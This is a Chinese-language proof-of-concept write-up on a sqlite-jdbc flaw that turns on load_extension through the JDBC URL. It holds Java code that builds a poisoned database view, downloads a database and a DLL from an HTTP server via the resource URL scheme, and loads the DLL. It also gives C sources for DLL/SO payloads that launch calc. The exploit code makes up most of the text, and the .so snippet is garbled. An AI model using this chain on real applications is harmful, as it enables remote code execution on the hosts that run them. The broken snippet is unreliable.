漏洞成因
在org.sqlite.SQLiteConfig中
load\_extension()这个加载dll的开关,可以通过jdbc控制
jdbc:sqlite:file:"+db+"?enable_load_extension=true
select load_extension('"+dll+"','dllmain')
Gen.Java文件
package org.example;
import java.io.File;
import java.net.URL;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;
public class Gen {
public static void main(String[] args) {
try {
String dbFile = "poc.db";
File file = new File(dbFile);
Class.forName("org.sqlite.JDBC");
Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
System.out.println("Opened database successfully");
String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-1097580145.db','dllmain'));"; //向其中插入传入的三个参数
PreparedStatement preStmt = conn.prepareStatement(sql);
preStmt.executeUpdate();
preStmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}Test1.java文件
package org.example;
import org.sqlite.SQLiteConfig;
import java.io.File;
import java.net.URL;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
public class Test1 {
public static void main(String[] args) throws Exception{
Class.forName("org.sqlite.JDBC");
SQLiteConfig config = new SQLiteConfig();
config.enableLoadExtension(true);
String url1 = "http://127.0.0.1:9999/poc.db";
String url2 = "http://127.0.0.1:9999/exp1.dll";
String tmp = "C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp";
String tmp1 = "C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-";
String db = tmp1 + new URL(url1).hashCode() + ".db";
String dll = tmp1 + new URL(url2).hashCode() + ".db";
System.out.println(db);
System.out.println(dll);
new File(db).delete();
new File(dll).delete();
DriverManager.getConnection("jdbc:sqlite::resource:"+url2,config.toProperties()).close();
DriverManager.getConnection("jdbc:sqlite::resource:"+url1,config.toProperties()).close();
Connection conn = DriverManager.getConnection("jdbc:sqlite:file:"+db+"?enable_load_extension=true");
Statement stmt = conn.createStatement();
String sql = "select load_extension('"+dll+"','dllmain')";
stmt.execute(sql);
}
}Dll、So文件
//gcc -shared -o exp.dll exp.c -lws2_32
#include <windows.h>
#include <stdlib.h>
__declspec(dllexport) void dllmain() {
system("calc.exe");
}
static char waste[500 * 1024] = {2};//gcc -shared -fPIC exp.c -o exp.so
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void flag() {{
system("calc'");
}}
void space() {{
// this just exists so the resulting binary is > 500kB
static char waste[500 * 1024] = {{2}};
}}
但这种控制了jdbc,还要控制sql语句的环境显然并不理想。如果jdbc就可以执行load\_extension()就好了。但是sqlite无法通过jdbc进行多语句或者PRAGMA的注入,所以看起来整体似乎是个非常鸡肋的漏洞。
可以注意我们使用的Sql语句为select load_extension('"+dll+"','dllmain')
但其实查看我们Gen代码生成的poc.db,指定生成的临时db文件,将我们使用的sql语句修改为select * from security也可以执行(低版本3.21.0.1测试成功,高版本好像不行)。

